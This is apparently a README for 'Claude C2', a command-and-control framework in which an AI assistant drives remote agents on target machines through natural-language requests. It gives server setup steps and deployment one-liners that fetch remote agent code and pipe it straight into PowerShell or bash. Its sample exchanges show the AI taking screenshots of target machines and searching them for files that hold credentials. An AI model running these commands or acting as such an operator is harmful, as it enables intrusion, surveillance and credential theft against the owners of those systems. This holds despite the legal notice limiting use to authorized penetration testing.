Claude C2

AI-Powered Command & Control Framework

Natural language control of remote systems through Claude AI and Model Context Protocol

Overview · Architecture · Installation · Deployment · Documentation

Overview

Claude C2 is a command and control framework that integrates with Anthropic's Model Context Protocol (MCP), enabling operators to manage remote systems through natural language conversations with Claude AI.

Rather than memorizing command syntax across different operating systems, operators communicate intent in plain English. The AI interprets requests, selects appropriate targets, executes the necessary commands, and returns formatted results.

Operator:  "Show me all connected systems"
Claude:    [Queries client manager, returns formatted list with OS, hostname, IP, user context]

Operator:  "Capture the screen on the Windows workstation"
Claude:    [Identifies target, executes screenshot, saves to server, confirms completion]

Operator:  "Search for configuration files containing credentials"
Claude:    [Runs recursive search with appropriate OS commands, returns matching paths]

Key Characteristics

Architecture

┌────────────────────────────────────────────────────────────────────────────┐
│                                                                            │
│                           CLAUDE C2 ARCHITECTURE                           │
│                                                                            │
├────────────────────────────────────────────────────────────────────────────┤
│                                                                            │
│    ┌──────────────┐         ┌──────────────┐         ┌──────────────┐     │
│    │              │         │              │         │              │     │
│    │   OPERATOR   │   MCP   │   COMMAND    │   WSS   │    TARGET    │     │
│    │              │◄───────►│              │◄───────►│              │     │
│    │  Claude.ai   │   SSE   │    SERVER    │  JSON   │    AGENTS    │     │
│    │              │         │              │         │              │     │
│    └──────────────┘         └──────────────┘         └──────────────┘     │
│                                                                            │
│         │                         │                         │             │
│         │  Natural language       │  Command routing        │  Shell      │
│         │  requests/responses     │  Client management      │  execution  │
│         │  via Claude AI          │  OAuth + TLS            │  Results    │
│         │                         │                         │             │
│                                                                            │
└────────────────────────────────────────────────────────────────────────────┘

Communication Flow:

1. Operator interacts with Claude AI through claude.ai interface

2. Claude connects to C2 server via MCP (Model Context Protocol) over SSE

3. Server maintains persistent WebSocket connections to all deployed agents

4. Commands are routed to appropriate agents based on operator intent

5. Agents execute commands using native OS tools and return results

6. Claude formats and presents results to operator

Installation

Prerequisites

• Node.js 18 or higher

• Valid SSL certificate (Let's Encrypt recommended)

• Domain name pointing to server

• Network access on ports 443, 3101, 3102

Server Setup

# Clone repository
git clone https://github.com/0xyg3n/claude-c2.git
cd claude-c2

# Install dependencies
npm install

# Configure environment
cp .env.example .env

Edit .env with your configuration:

DOMAIN=your-domain.com
MCP_PORT=3101
WS_PORT=3102
OAUTH_CLIENT_ID=your-client-id
OAUTH_CLIENT_SECRET=your-client-secret
SSL_CERT_PATH=/path/to/cert.pem
SSL_KEY_PATH=/path/to/key.pem

# Start server
npm start

Claude.ai Integration

Configure MCP connector in Claude.ai settings:

Deployment

Deploy agents to target systems using platform-specific one-liners:

irm https://YOUR_DOMAIN/agent/windows | iex

curl -s https://YOUR_DOMAIN/agent/linux | bash

curl -s https://YOUR_DOMAIN/agent/macos | bash

curl -s https://YOUR_DOMAIN/agent/termux | bash

Agents operate in memory without persistence by default. Connection resilience is built-in with automatic reconnection on network interruption.

Usage Examples

When a single agent is connected, Claude automatically selects it. With multiple agents, specify the target by name or identifier.

Demonstrated Platforms

Documentation

Legal Notice

This software is provided strictly for authorized security testing, educational research, and legitimate penetration testing engagements.

By using this software, you acknowledge and agree to the following:

• You have obtained explicit written authorization for any systems tested

• You understand that unauthorized access to computer systems is a criminal offense under applicable laws including but not limited to the Computer Fraud and Abuse Act (CFAA), Computer Misuse Act, and equivalent legislation in your jurisdiction

• The authors and contributors accept no responsibility or liability for any misuse, damage, or illegal activities conducted with this software

• You assume full legal responsibility for your use of this software

This tool is intended exclusively for:

• Licensed penetration testers with valid authorization

• Red team operators with written scope agreements

• Security researchers in controlled environments

• Educational purposes in authorized lab settings

Claude C2 — Built on Anthropic's Model Context Protocol